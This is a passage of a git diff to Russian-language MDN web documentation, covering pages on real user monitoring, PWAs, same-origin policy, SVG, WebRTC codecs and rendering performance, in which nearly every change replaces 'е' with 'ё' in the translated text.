            Мониторинг реальных пользователей (Real User Monitoring, RUM) измеряет производительность приложения на устройствах конечных пользователей. В основе подхода - сторонний скрипт, который вставляет другие скрипты на каждую страницу. Эти дополнительные скрипты измеряют производительность и предоставляют отчёты о ней. Этот подход помогает не только узнать, насколько производительно приложение, но и даёт информацию об использовании приложения, например, о географии, распределении пользователей или влиянии такого распределения на пользовательский опыт.
            В отличие от синтетического мониторинга, RUM собирает данные от настоящих пользователей, вне зависимости от их устройств, браузеров, сети или геолокации. Пока пользователь взаимодействует с приложением, тайминги такого взаимодействия записываются, вне зависимости от того, какое действие выполняется в конкретный момент. Такой мониторинг собирает данные о реальном использовании приложения, а не о том поведении, которое ожидают разработчики или, скажем, отдел маркетинга. Это особенно важно для больших веб-сайтов или сложных приложений, где функционал или содержимое постоянно меняются, а количество пользователей может очень сильно расти, создавая новые нагрузки и требования.
            
 
@@ -32,7 +32,7 @@ translation_of: Web/Performance/Rum-vs-Synthetic
 
 
            Синтетический мониторинг хорошо подходит для отлавливания регрессий в ходе разработки приложения. Особенно полезным может оказаться занижение скорости сети ({{glossary('network throttling')}}). Такой подход довольно прост, недорог и великолепно подходит для тестирования определённых точек приложения по мере того, как вы вносите изменения в код. Но он даёт лишь узкий обзор производительности и не говорит о том, что испытывает пользователь.
            
 
-
            Тестирование на реальных пользователях, в свою очередь, дает информацию о настоящих пользователях, которые используют приложение или веб-сайт. И хотя получение и обработка таких данных обходится дороже и не так проста, такой подход дает жизненно важные данные о пользовательском опыте.
            
+
            Тестирование на реальных пользователях, в свою очередь, даёт информацию о настоящих пользователях, которые используют приложение или веб-сайт. И хотя получение и обработка таких данных обходится дороже и не так проста, такой подход даёт жизненно важные данные о пользовательском опыте.
            API для измерения производительности
            
 
diff --git a/files/ru/web/progressive_web_apps/installable_pwas/index.html b/files/ru/web/progressive_web_apps/installable_pwas/index.html
index 034dfb976a..3aa9e01580 100644
--- a/files/ru/web/progressive_web_apps/installable_pwas/index.html
+++ b/files/ru/web/progressive_web_apps/installable_pwas/index.html
@@ -15,7 +15,7 @@ translation_of: Web/Progressive_web_apps/Installable_PWAs
 
 
              
  
            • Веб-манифест с правильно заполненными полями
              • 
- 
            • Сайт должен использовать защищенный (HTTPS) домен
              • 
+ 
            • Сайт должен использовать защищённый (HTTPS) домен
              • 
  
            • Иконка для предоставления приложения на устройстве
              • 
  
            • Зарегистрированный service worker, чтобы приложение работало в off-line режиме (на данный момент требуется только для Chrome на Android)
              • 
 
            
@@ -26,7 +26,7 @@ translation_of: Web/Progressive_web_apps/Installable_PWAs
 
 
            Обычно находится в корневой папке веб-приложения. Содержит информацию, такую как название приложения, paths пути к значкам разных размеров, которые можно использовать для представления приложения в мобильных операционных системах (например, в качестве значка домашнего экрана), и цвет фона для использования при загрузке. Эта информация необходима браузеру для правильного отображения приложения при установке и на домашнем экране.
            
 
-
            Файл js13kpwa.webmanifest веб-приложения js13kPWA включен в раздел {{htmlelement("head")}} файла index.html с помощью следующей строчки кода:
            
+
            Файл js13kpwa.webmanifest веб-приложения js13kPWA включён в раздел {{htmlelement("head")}} файла index.html с помощью следующей строчки кода:
            <link rel="manifest" href="js13kpwa.webmanifest">
            
 
@@ -98,7 +98,7 @@ translation_of: Web/Progressive_web_apps/Installable_PWAs
 
 
            Экран загрузки
            
 
-
            В некоторых браузерах, на основе информации из манифеста, создается заставка, отображаемая при запуске PWA
            
+
            В некоторых браузерах, на основе информации из манифеста, создаётся заставка, отображаемая при запуске PWA
            
 
diff --git a/files/ru/web/reference/api/index.html b/files/ru/web/reference/api/index.html
index df6fdaf23f..b3439cdf85 100644
--- a/files/ru/web/reference/api/index.html
+++ b/files/ru/web/reference/api/index.html
@@ -8,7 +8,7 @@ tags:
   - Справка
 translation_of: Web/Reference/API
 ---
-
            Веб предлагает широкий спектр интерфейсов для выполнения различных полезных задач. Они могут быть доступны с помощью кода JavaScript, и путем внесения незначительных корректив в объекты {{domxref("window")}}  или {{domxref("element")}}.  Для создания сложной графики и аудио эффектов используются такие интерфейсы как WebGL и Web Audio.
            
+
            Веб предлагает широкий спектр интерфейсов для выполнения различных полезных задач. Они могут быть доступны с помощью кода JavaScript, и путём внесения незначительных корректив в объекты {{domxref("window")}}  или {{domxref("element")}}.  Для создания сложной графики и аудио эффектов используются такие интерфейсы как WebGL и Web Audio.
            Описание всех интерфейсов (APIs).
            
 
diff --git a/files/ru/web/reference/index.html b/files/ru/web/reference/index.html
index 3b429c22d2..6ebb520ba5 100644
--- a/files/ru/web/reference/index.html
+++ b/files/ru/web/reference/index.html
@@ -7,7 +7,7 @@ translation_of: Web/Reference
 ---
 
            {{draft()}}
            
 
-
            Открытая сеть построена с использованием ряда технологий. Ниже вы найдете ссылки на наши справочные материалы по каждому из них.
            
+
            Открытая сеть построена с использованием ряда технологий. Ниже вы найдёте ссылки на наши справочные материалы по каждому из них.
            
 
            
diff --git a/files/ru/web/security/same-origin_policy/index.html b/files/ru/web/security/same-origin_policy/index.html
index 0b304bf42f..e1b008a445 100644
--- a/files/ru/web/security/same-origin_policy/index.html
+++ b/files/ru/web/security/same-origin_policy/index.html
@@ -7,7 +7,7 @@ translation_of: Web/Security/Same-origin_policy
 
 
            Определение origin
            
 
-
            Две страницы имеют одинаковый origin (источник) если протокол , порт (если указан), и хост одинаковы для обоих страниц. Время от времени, вы можете видеть это как  "scheme/host/port tuple" (где "tuple" переводится как кортеж или запись набор из трех компонент, которые вместе составляют единое целое).
            
+
            Две страницы имеют одинаковый origin (источник) если протокол , порт (если указан), и хост одинаковы для обоих страниц. Время от времени, вы можете видеть это как  "scheme/host/port tuple" (где "tuple" переводится как кортеж или запись набор из трёх компонент, которые вместе составляют единое целое).
            
 
 
            В следующей таблице даны примеры origin-сравнений с URL http://store.company.com/dir/page.html:
            
 
diff --git a/files/ru/web/security/securing_your_site/turning_off_form_autocompletion/index.html b/files/ru/web/security/securing_your_site/turning_off_form_autocompletion/index.html
index 6d60a0d151..7397f649f1 100644
--- a/files/ru/web/security/securing_your_site/turning_off_form_autocompletion/index.html
+++ b/files/ru/web/security/securing_your_site/turning_off_form_autocompletion/index.html
@@ -5,7 +5,7 @@ translation_of: Web/Security/Securing_your_site/Turning_off_form_autocompletion
 ---
 
            В этой статье объясняется как можно отключить автозаполнение полей на сайте.
            
 
-
            По умолчанию браузеры запоминают информацию, которую пользователи отправляют через {{HTMLElement("input")}} поля на сайтах. Это позволяет браузеру предлагать варианты для автодополнения (то есть предлагать возможные дополнения для полей, в которые пользователь начал вводить данные) или автозаполнение (то есть предварительно заполнять определенные поля при загрузке).
            
+
            По умолчанию браузеры запоминают информацию, которую пользователи отправляют через {{HTMLElement("input")}} поля на сайтах. Это позволяет браузеру предлагать варианты для автодополнения (то есть предлагать возможные дополнения для полей, в которые пользователь начал вводить данные) или автозаполнение (то есть предварительно заполнять определённые поля при загрузке).
            
 
 
            Эти функции обычно включены по умолчанию, но они могут вызвать проблемы конфиденциальности пользователей, поэтому браузеры могут позволить отключать их. Однако некоторые данные, представленные в формах, либо не будут полезны в будущем (например, одноразовый пин-код), либо содержат конфиденциальную информацию (например, уникальный правительственный идентификатор или код безопасности кредитной карты). Как автор сайта, вы можете предпочесть, чтобы браузер не запоминал значения для таких полей, даже если в браузере включена функция автозаполнения.
            
 
diff --git a/files/ru/web/svg/applying_svg_effects_to_html_content/index.html b/files/ru/web/svg/applying_svg_effects_to_html_content/index.html
index 337add0202..7dc0f367c1 100644
--- a/files/ru/web/svg/applying_svg_effects_to_html_content/index.html
+++ b/files/ru/web/svg/applying_svg_effects_to_html_content/index.html
@@ -16,7 +16,7 @@ translation_of: Web/SVG/Applying_SVG_effects_to_HTML_content
 
            <style>p { mask: url(#my-mask); }</style>
 
            
 
-
            В приведенном выше примере все параграфы маскируются с помощью SVG <mask>  с ID my-mask. 
            
+
            В приведённом выше примере все параграфы маскируются с помощью SVG <mask>  с ID my-mask. 
            
 
 
            Пример: маскировка
            
 
@@ -45,7 +45,7 @@ p {
 
 
            Обратите внимание, что в CSS маска указана с использованием URL-адреса ID- #mask-1, которая является идентификатором маски SVG, указанной ниже. Все остальное указывает подробности о самой маске градиента.
            
 
-
            Применение SVG-эффекта к (X) HTML выполняется путем назначения target классу, определенному выше элементу, например:
            
+
            Применение SVG-эффекта к (X) HTML выполняется путём назначения target классу, определённому выше элементу, например:
            
 
 
            <p class="target" style="background:lime;">
     Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt
@@ -59,7 +59,7 @@ p {
 </p>
 
            
 
-
            Вышеприведенный пример будет отображаться с помощью маски, применяемой к нему.
            
+
            Вышеприведённый пример будет отображаться с помощью маски, применяемой к нему.
            
 
 
            {{EmbedLiveSample('Example_Masking', 650, 200)}}
            
 
@@ -111,7 +111,7 @@ p {
 
 
            Пример: Фильтрация
            
 
-
            Это демонстрирует применение фильтра к содержимому HTML с помощью SVG. Он устанавливает несколько фильтров, которые применяются с CSS к трем элементам как в нормальном состоянии, так и при hover мыши.
            
+
            Это демонстрирует применение фильтра к содержимому HTML с помощью SVG. Он устанавливает несколько фильтров, которые применяются с CSS к трём элементам как в нормальном состоянии, так и при hover мыши.
            
 
 
            <p class="target" style="background: lime;">
     Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt
diff --git a/files/ru/web/svg/attribute/attributetype/index.html b/files/ru/web/svg/attribute/attributetype/index.html
index 64578f28b0..c4e46ff973 100644
--- a/files/ru/web/svg/attribute/attributetype/index.html
+++ b/files/ru/web/svg/attribute/attributetype/index.html
@@ -8,7 +8,7 @@ translation_of: Web/SVG/Attribute/attributeType
 ---
 
            « Справочник SVG атрибутов
            
 
-
            Этот атрибут задает пространство имен, в котором определяются конечный атрибут и связанные с ним значения.
            
+
            Этот атрибут задаёт пространство имён, в котором определяются конечный атрибут и связанные с ним значения.
            
 
 
            Контекст использования
            
 
@@ -40,9 +40,9 @@ translation_of: Web/SVG/Attribute/attributeType
  
            Указывает на то, что значение параметра  {{ SVGAttr("attributeName") }}  является именем свойства CSS, определяемого как анимация.
            
  
             
            
  
            XML
            
- 
            Указывает, что значение параметра{{ SVGAttr("attributeName") }} является именем атрибута XML, определяемого как анимация в пространстве имен XML по умолчанию для целевого элемента.
            
+ 
            Указывает, что значение параметра{{ SVGAttr("attributeName") }} является именем атрибута XML, определяемого как анимация в пространстве имён XML по умолчанию для целевого элемента.
            
  
            auto
            
- 
            Реализация должна соответствовать {{ SVGAttr("attributeName") }} атрибуту целевого элемента. Агенты пользователя сначала посмотрят список свойств CSS для соответствующего имени свойства, а если нет, выполните поиск в пространстве имен XML по умолчанию для элемента.
            
+ 
            Реализация должна соответствовать {{ SVGAttr("attributeName") }} атрибуту целевого элемента. Агенты пользователя сначала посмотрят список свойств CSS для соответствующего имени свойства, а если нет, выполните поиск в пространстве имён XML по умолчанию для элемента.
            
 
 
 
            Пример
            
diff --git a/files/ru/web/svg/attribute/core/index.html b/files/ru/web/svg/attribute/core/index.html
index 4423aa5468..6abb480a61 100644
--- a/files/ru/web/svg/attribute/core/index.html
+++ b/files/ru/web/svg/attribute/core/index.html
@@ -26,7 +26,7 @@ translation_of: Web/SVG/Attribute/Core
  Значение: Любое строковое значение ID; Анимируемый: Нет
  
            {{SVGAttr('lang')}}
            
  
            
- 
            Участвует в определении языка элемента, языка, на котором написаны нередактируемые элементы, или языка, на котором должны быть написаны редактируемые элементы. Тэг содержит одно единственное значение записи в формате, определенном в документе IETF "Tags for Identifying Languages (BCP47)".
            
+ 
            Участвует в определении языка элемента, языка, на котором написаны нередактируемые элементы, или языка, на котором должны быть написаны редактируемые элементы. Тэг содержит одно единственное значение записи в формате, определённом в документе IETF "Tags for Identifying Languages (BCP47)".
            
 
  
            
  
            SVG2 предоставляет новые lang атрибуты. Если атрибуты lang и xml:lang используются вместе, то xml:lang имеет приоритет над lang.
            
@@ -42,7 +42,7 @@ translation_of: Web/SVG/Attribute/Core
  Тип: <IRI>; Анимируемый: Нет
            
  
            {{SVGAttr('xml:lang')}}
            
  
            
- 
            Это универсальный атрибут, разрешенный во всех XML диалектах для разметки естественного человеческого языка, который содержит элемент. Он почти идентичен по использованию атрибута lang в HTML, но в соответствии с документацией XML 1.0, данный атрибут не позволяет использовать нулевое (null) значение атрибута (xml:lang="") для указания неизвестного языка. Вместо этого, используйте xml:lang="und".
            
+ 
            Это универсальный атрибут, разрешённый во всех XML диалектах для разметки естественного человеческого языка, который содержит элемент. Он почти идентичен по использованию атрибута lang в HTML, но в соответствии с документацией XML 1.0, данный атрибут не позволяет использовать нулевое (null) значение атрибута (xml:lang="") для указания неизвестного языка. Вместо этого, используйте xml:lang="und".
            
 
  
            
  
            SVG2 предоставляет новые lang атрибуты. Если атрибуты lang и xml:lang используются вместе, то xml:lang имеет приоритет над lang.
            
diff --git a/files/ru/web/svg/attribute/d/index.html b/files/ru/web/svg/attribute/d/index.html
index 708aa0cbad..2e1807e521 100644
--- a/files/ru/web/svg/attribute/d/index.html
+++ b/files/ru/web/svg/attribute/d/index.html
@@ -72,7 +72,7 @@ translation_of: Web/SVG/Attribute/d
  
            
  
@@ -433,13 +433,13 @@ peerConnection.addEventListener("icegatheringstatechange", (event) => {
 
 
            Правильный выбор кодеков
            
 
-
            Перед выбором кодека, который не является обязательным (VP8 или AVC для видео и  Opus или PCM для аудио), следует серьезно рассмотреть потенциальные недостатки: в особенности, если предполагается, что эти кодеки не широко доступны на всех устройствах, поддерживающих WebRTC.
            
+
            Перед выбором кодека, который не является обязательным (VP8 или AVC для видео и  Opus или PCM для аудио), следует серьёзно рассмотреть потенциальные недостатки: в особенности, если предполагается, что эти кодеки не широко доступны на всех устройствах, поддерживающих WebRTC.
            
 
 
            Если вы предпочитаете кодек, отличный от обязательных, вы должны по крайней мере разрешить откат к одному из обязательных кодеков, если поддержка для кодека, который вы предпочитаете, окажется недоступна.
            
 
 
            Аудио
            
 
-
            В целом, если кодек доступен и звук, который вы хотите отправить, имеет частоту дискретизации более 8 кГц, вам следует настоятельно рекомендовать использовать Opus в качестве основного кодека. Для голосовых соединений в стесненной среде использование G.711 с частотой дискретизации 8 кГц может обеспечить приемлемое качество для разговора, но обычно вы будете использовать G.711 в качестве запасного варианта, поскольку есть другие более эффективные варианты, чей звук лучше, такие как Опус в своем узкополосном режиме .
            
+
            В целом, если кодек доступен и звук, который вы хотите отправить, имеет частоту дискретизации более 8 кГц, вам следует настоятельно рекомендовать использовать Opus в качестве основного кодека. Для голосовых соединений в стеснённой среде использование G.711 с частотой дискретизации 8 кГц может обеспечить приемлемое качество для разговора, но обычно вы будете использовать G.711 в качестве запасного варианта, поскольку есть другие более эффективные варианты, чей звук лучше, такие как Опус в своём узкополосном режиме .
            
 
 
            Видео
            
 
@@ -447,7 +447,7 @@ peerConnection.addEventListener("icegatheringstatechange", (event) => {
 
 
            Условия лицензирования
            
 
-
            Прежде чем выбрать видеокодек, убедитесь, что вы знаете о любых лицензионных требованиях к выбранному вами кодеку; можете найти информацию о возможных проблемах лицензирования в нашем основном руководстве по видеокодекам, используемым в  web. Из двух обязательных кодеков для видео - VP8 и AVC / H.264 - только VP8 полностью свободен от лицензионных требований. Если выбираете AVC, убедитесь, что вы знаете о любых возможных сборах, которые вам, возможно, придется заплатить; владельцы патентов обычно говорят, что большинству типичных разработчиков веб-сайтов не нужно беспокоиться об оплате лицензионных сборов, которые, как правило, больше ориентированы на разработчиков программного обеспечения для кодирования и декодирования.
            
+
            Прежде чем выбрать видеокодек, убедитесь, что вы знаете о любых лицензионных требованиях к выбранному вами кодеку; можете найти информацию о возможных проблемах лицензирования в нашем основном руководстве по видеокодекам, используемым в  web. Из двух обязательных кодеков для видео - VP8 и AVC / H.264 - только VP8 полностью свободен от лицензионных требований. Если выбираете AVC, убедитесь, что вы знаете о любых возможных сборах, которые вам, возможно, придётся заплатить; владельцы патентов обычно говорят, что большинству типичных разработчиков веб-сайтов не нужно беспокоиться об оплате лицензионных сборов, которые, как правило, больше ориентированы на разработчиков программного обеспечения для кодирования и декодирования.
            
 
 
            
 
            Внимание :  Информация здесь не является юридической консультацией! Обязательно убедитесь в возможности ответственности, прежде чем принимать какие-либо окончательные решения, если существует вероятность возникновения проблем с лицензированием.
            
@@ -455,19 +455,19 @@ peerConnection.addEventListener("icegatheringstatechange", (event) => {
 
 
            Энергопотребление и срок службы батареи
            
 
-
            Еще один фактор, который следует учитывать, особенно на мобильных платформах, - это влияние кодека на время автономной работы. Если кодек обрабатывается аппаратно на данной платформе, он, вероятно, позволит значительно увеличить срок службы батареи и уменьшить выработку тепла.
            
+
            Ещё один фактор, который следует учитывать, особенно на мобильных платформах, - это влияние кодека на время автономной работы. Если кодек обрабатывается аппаратно на данной платформе, он, вероятно, позволит значительно увеличить срок службы батареи и уменьшить выработку тепла.
            
 
 
            Например, Safari для iOS и iPadOS представила WebRTC с AVC в качестве единственного поддерживаемого видеокодека. Преимущество AVC на iOS и iPadOS заключается в возможности кодирования и декодирования на аппаратном уровне.Safari 12.1 представил поддержку VP8 в IRC, что улучшает взаимодействие, но за дополнительную плату - VP8 не имеет аппаратной поддержки на устройствах iOS, поэтому его использование приводит к увеличению нагрузки на процессор и сокращению срока службы батареи.
            
 
 
            Производительность
            
 
-
            К счастью, VP8 и AVC работают одинаково с точки зрения конечного пользователя и одинаково адекватны для использования в видеоконференцсвязи и других решениях WebRTC. Окончательное решение остается за разработчиком. Какой бы вариант вы ни выбрали, обязательно прочитайте информацию, представленную в этой статье, о любых конкретных проблемах конфигурации, с которыми вам, возможно, придется столкнуться для этого кодека.
            
+
            К счастью, VP8 и AVC работают одинаково с точки зрения конечного пользователя и одинаково адекватны для использования в видеоконференцсвязи и других решениях WebRTC. Окончательное решение остаётся за разработчиком. Какой бы вариант вы ни выбрали, обязательно прочитайте информацию, представленную в этой статье, о любых конкретных проблемах конфигурации, с которыми вам, возможно, придётся столкнуться для этого кодека.
            
 
 
            Имейте в виду, что выбор кодека, которого нет в списке обязательных кодеков, может привести к риску выбора кодека, который не поддерживается браузером, который предпочитают ваши пользователи. Прочтите Решение проблем медиаподдержки в веб контенте , чтобы узнать больше о том, как предлагать поддержку предпочитаемых кодеков, но при этом использовать браузеры, которые не поддерживают этот кодек.
            
 
 
            Последствия для безопасности
            
 
-
            При выборе и настройке кодеков возникают интересные потенциальные проблемы безопасности. Видео WebRTC защищено с помощью Datagram Transport Layer Security ({{Glossary("DTLS")}}), но для мотивированной стороны теоретически возможно вывести величину изменения, которое происходит от кадра к кадру при использовании кодеков с переменной скоростью передачи (VBR), путем мониторинга скорости потока  и ее изменения во времени.Это может потенциально позволить злоумышленнику сделать вывод о содержании потока, учитывая приливы и отливы скорости передачи.
            
+
            При выборе и настройке кодеков возникают интересные потенциальные проблемы безопасности. Видео WebRTC защищено с помощью Datagram Transport Layer Security ({{Glossary("DTLS")}}), но для мотивированной стороны теоретически возможно вывести величину изменения, которое происходит от кадра к кадру при использовании кодеков с переменной скоростью передачи (VBR), путём мониторинга скорости потока  и её изменения во времени.Это может потенциально позволить злоумышленнику сделать вывод о содержании потока, учитывая приливы и отливы скорости передачи.
            
 
 
            Подробнее о безопасности при использовании AVC в WebRTC см.  {{RFC(6184, "RTP Payload Format for H.264 Video: Security Considerations", 9)}}.
            
 
diff --git a/files/ru/web/performance/animation_performance_and_frame_rate/index.html b/files/ru/web/performance/animation_performance_and_frame_rate/index.html
index 9b9121b742..8ccf7fb88d 100644
--- a/files/ru/web/performance/animation_performance_and_frame_rate/index.html
+++ b/files/ru/web/performance/animation_performance_and_frame_rate/index.html
@@ -13,7 +13,7 @@ original_slug: Web/Performance/Производительность_анимац
 ---
 
            Анимация в Вебе может быть сделана с помощью {{domxref('SVGAnimationElement', 'SVG')}}, {{domxref('window.requestAnimationFrame','JavaScript')}}, включая {{htmlelement('canvas')}} и {{domxref('WebGL_API', 'WebGL')}}, CSS {{cssxref('animation')}}, {{htmlelement('video')}}, анимированных GIF и даже с помощью анимированных PNG и других типов изображений. Производительность CSS анимации может отличаться от одного CSS-свойства к другому, а попытка анимировать некоторые "дорогие" CSS-свойства может привести к зависаниям ({{glossary('jank')}}), даже несмотря на то, что браузер борется за то, чтобы смягчить частоту смены кадров {{glossary('frame rate')}}.
            
 
-
            Для анимированных медиа, таких как видео и GIF, основная проблема производительности - это размер файлов. Скачивание больших по объему файлов не может не повлиять на производительность системы или на то, как эту систему воспринимает пользователь. 
            
+
            Для анимированных медиа, таких как видео и GIF, основная проблема производительности - это размер файлов. Скачивание больших по объёму файлов не может не повлиять на производительность системы или на то, как эту систему воспринимает пользователь. 
            
 
 
            Анимации, основанные на коде, будь то CSS, SVG, <canvas>, webGL или другие JavaScript анимации, могут нести проблемы производительности сами в себе, даже если файлы этого кода скачиваются быстро. Такие анимации могут потреблять всё время CPU и приводить к зависаниям.
            
 
@@ -25,12 +25,12 @@ original_slug: Web/Performance/Производительность_анимац
 
 
            Графики frame rate и waterfall из встроенных инструментов браузера дают информацию о том, как браузер выполняет работу по анимации. Используя эти инструменты, вы можете измерить fps приложения и диагностировать узкие места, в которых fps уменьшается.
            
 
-
            С помощью CSS анимации вы указываете ключевые кадры (keyframes), каждый из которых использует определенные CSS свойства, чтобы определить внешний вид элемента в конкретный (ключевой) момент анимации. Браузер создает анимации с помощью плавных переходов от одного ключевого кадра к следующему.
            
+
            С помощью CSS анимации вы указываете ключевые кадры (keyframes), каждый из которых использует определённые CSS свойства, чтобы определить внешний вид элемента в конкретный (ключевой) момент анимации. Браузер создаёт анимации с помощью плавных переходов от одного ключевого кадра к следующему.
            
 
 
            Если сравнивать анимацию с помощью JavaScript и CSS, вы увидите, что CSS-анимации проще создать. Более того, CSS-анимации гарантируют лучшую производительность, так как они автоматически делегируют некоторые задачи браузеру. Например, в случае CSS браузер сам решает, когда нужно отрендерить кадр, а когда пропустить кадр, если это необходимо. 
            
 
 

            
- Однако, стоимость изменения разных CSS свойств варьируется. Общепринято, что 60 кадров в секунду - это достаточная частота, чтобы анимация выглядела мягкой и плавной. Несложный подсчет говорит, что при частоте 60 кадров в секунду, браузер имеет лишь 16.7 миллисекунд, чтобы выполнить все скрипты, пересчитать стили, скомпоновать слои и отрисовать новый кадр. Отсюда следует, что медленные скрипты и анимация дорогих CSS свойств может может привести к зависаниям, так как браузер все еще будет пытаться вычислить все 60 кадров.
            
+ Однако, стоимость изменения разных CSS свойств варьируется. Общепринято, что 60 кадров в секунду - это достаточная частота, чтобы анимация выглядела мягкой и плавной. Несложный подсчёт говорит, что при частоте 60 кадров в секунду, браузер имеет лишь 16.7 миллисекунд, чтобы выполнить все скрипты, пересчитать стили, скомпоновать слои и отрисовать новый кадр. Отсюда следует, что медленные скрипты и анимация дорогих CSS свойств может может привести к зависаниям, так как браузер все ещё будет пытаться вычислить все 60 кадров.
            
 
 
            Стоит заметить, что 60 кадров в секунду - это стандартная частота обновления экрана. Существуют экраны с гораздо большим FPS. Например, экраны игровых ноутбуков или iPad Pro 2018 имеют частоту смены кадров, равную 120 fps и выше. Для таких устройств производители браузеров ограничивают частоту 60-ю кадрами в секунду, но с помощью некоторых опций этот лимит можно убрать. И в этом случае, на формирование каждого кадра устройство будет отводить лишь 8.6 миллисекунд.
            
 
@@ -42,7 +42,7 @@ original_slug: Web/Performance/Производительность_анимац
 
 
              
  
            1. Recalculate Style: когда любое CSS свойство для элемента изменяется, браузер должен заново вычислить результирующий набор свойств.
              2. 
- 
            2. Layout: затем браузер использует вычисленные стили для того, чтобы понять позицию и геометрию элементов - как измененного, так и рядом лежащих. Эта операция называется "layout", но иногда её так же называют "reflow".
              3. 
+ 
            3. Layout: затем браузер использует вычисленные стили для того, чтобы понять позицию и геометрию элементов - как изменённого, так и рядом лежащих. Эта операция называется "layout", но иногда её так же называют "reflow".
              4. 
  
            4. Paint: наконец, браузер должен перерисовать элементы на экране. Но этот этап не обязательно должен быть простым, как на изображении. Страница может быть разделена на слои, каждый из которых перерисовывается независимо, а только после этого они комбинируются в процессе, который называется композицией "Composition".
              5. 
 
            
 
@@ -100,7 +100,7 @@ original_slug: Web/Performance/Производительность_анимац
 
 
            Пример: margin против transform
            
 
-
            В этом разделе мы увидим, как инструмент Waterfall может указать на разницу между анимацией. ёё margin  и transform.
            
+
            В этом разделе мы увидим, как инструмент Waterfall может указать на разницу между анимацией. её margin  и transform.
            
 
 
            Задумка этого сценария не в том, чтобы убедить вас, что анимация через margin - это всегда плохая идея. Сценарий нужен, чтобы продемонстрировать, как инструменты могут помочь вам понять работу браузера и как вы можете применить эти знания для оптимизации.
            
 
@@ -116,7 +116,7 @@ original_slug: Web/Performance/Производительность_анимац
 
 
            Анимация свойства margin
            
 
-
            Оставим включенной опцию "Use margin" и начнём анимацию. В это же время откроем "Performance tool" и нажмем кнопку "записать" (make a recording). Нам понадобится лишь пара секунд записи.
            
+
            Оставим включённой опцию "Use margin" и начнём анимацию. В это же время откроем "Performance tool" и нажмём кнопку "записать" (make a recording). Нам понадобится лишь пара секунд записи.
            
 
 
            Откройте первую запись. Точное содержимое, которое вы увидите, зависит от вашего устройства, системной нагрузки и окружения, но, в целом это должно выглядеть так:
            
 
@@ -128,7 +128,7 @@ original_slug: Web/Performance/Производительность_анимац
 
 
            
 
-
            Сейчас здесь показаны ужатые этапы рендеринга Waterfall. Как видите, большая часть графика заполнена зеленым цветом - это говорит нам о том, что мы тратим много ресурсов на отрисовывание.
            
+
            Сейчас здесь показаны ужатые этапы рендеринга Waterfall. Как видите, большая часть графика заполнена зелёным цветом - это говорит нам о том, что мы тратим много ресурсов на отрисовывание.
            
 
 
            Частота кадров (Frame Rate)
            
 
@@ -158,7 +158,7 @@ original_slug: Web/Performance/Производительность_анимац
 
 
            
 
-
            В сравнении с версией, которая использует margin, мы видим намного меньше зеленого, но намного больше фиолетового цвета. Это говорит о том, что вместо paint мы теперь тратим ресурсы на этапы layout или style recalculation.
            
+
            В сравнении с версией, которая использует margin, мы видим намного меньше зелёного, но намного больше фиолетового цвета. Это говорит о том, что вместо paint мы теперь тратим ресурсы на этапы layout или style recalculation.
            
 
 
            Частота кадров (Frame Rate)
            
 
diff --git a/files/ru/web/performance/critical_rendering_path/index.html b/files/ru/web/performance/critical_rendering_path/index.html
index ba9788828d..ee91e0e4c8 100644
--- a/files/ru/web/performance/critical_rendering_path/index.html
+++ b/files/ru/web/performance/critical_rendering_path/index.html
@@ -7,7 +7,7 @@ translation_of: Web/Performance/Critical_rendering_path
 ---
 
            Критические этапы рендеринга (Critical Rendering Path) - это последовательность шагов, которые выполняет браузер, когда преобразуется HTML, CSS и JavaScript в пиксели, которые вы видите на экране. Оптимизация этих шагов улучшает производительность рендера. Эти этапы включают в себя работу с Document Object Model (DOM), CSS Object Model (CSSOM), деревом рендера (render tree) и компоновкой объектов (layout)
            
 
-
            Объектная модель документа DOM создается в тот момент, когда браузер парсит HTML. Этот HTML может запрашивать JavaScript, который может модифицировать DOM. HTML может запросить стили, которые участвуют в создании CSS Object Model. Движок браузера комбинирует эти две объектные модели, чтобы создать дерево рендера (render tree). Компоновка (layout) определяет размеры и позицию каждого элемента на странице. Как только компоновка определена - пиксели отрисовываются на экране.
            
+
            Объектная модель документа DOM создаётся в тот момент, когда браузер парсит HTML. Этот HTML может запрашивать JavaScript, который может модифицировать DOM. HTML может запросить стили, которые участвуют в создании CSS Object Model. Движок браузера комбинирует эти две объектные модели, чтобы создать дерево рендера (render tree). Компоновка (layout) определяет размеры и позицию каждого элемента на странице. Как только компоновка определена - пиксели отрисовываются на экране.
            
 
 
            Оптимизация критических этапов рендеринга улучшает время до первого рендера. Понимание и оптимизация этих этапов чрезвычайно важны для того, чтобы рендерить приложение с нужной частотой кадров (60 кадров в секунду, fps) и предоставить пользователю удобный, плавный интерфейс.
            
 
@@ -15,21 +15,21 @@ translation_of: Web/Performance/Critical_rendering_path
 
 
            Производительность Web-приложений включает в себя запросы к серверу, получение ответов, загрузку, парсинг и выполнение скриптов, рендеринг, компоновку и отрисовку пикселей. 
            
 
-
            Загрузка веб-страницы или приложения начинается с запроса HTML. Сервер возвращает HTML заголовке (headers) и некоторые данные. Браузер начинает парсить полученный ответ HTML, преобразуя полученные байты в DOM-дерево. Браузер создает новый запрос каждый раз, когда он находит ссылки на внешние ресурсы, будь то файлы стилей, скриптов или ссылки на изображения. Некоторые запросы являются блокирующими. Это означает, что пока такие запросы выполняются - другие запросы приостанавливается. Браузер продолжает парсить HTML и создавать DOM до тех пор, пока запрос на получение HTML не подходит к концу. После завершения парсинга DOM, браузер конструирует CSS модель. Как только эти модели сформированы, браузер строит дерево рендера (render tree), в котором вычисляет стили для каждого видимого элемента страницы. После формирования дерева происходит компоновка (layout), которая определяет положение и размеры элементов этого дерева. Как только этап завершён - страница рендерится. Или "отрисовывается" (paint) на экране.
            
+
            Загрузка веб-страницы или приложения начинается с запроса HTML. Сервер возвращает HTML заголовке (headers) и некоторые данные. Браузер начинает парсить полученный ответ HTML, преобразуя полученные байты в DOM-дерево. Браузер создаёт новый запрос каждый раз, когда он находит ссылки на внешние ресурсы, будь то файлы стилей, скриптов или ссылки на изображения. Некоторые запросы являются блокирующими. Это означает, что пока такие запросы выполняются - другие запросы приостанавливается. Браузер продолжает парсить HTML и создавать DOM до тех пор, пока запрос на получение HTML не подходит к концу. После завершения парсинга DOM, браузер конструирует CSS модель. Как только эти модели сформированы, браузер строит дерево рендера (render tree), в котором вычисляет стили для каждого видимого элемента страницы. После формирования дерева происходит компоновка (layout), которая определяет положение и размеры элементов этого дерева. Как только этап завершён - страница рендерится. Или "отрисовывается" (paint) на экране.
            
 
 
            Document Object Model
            
 
 
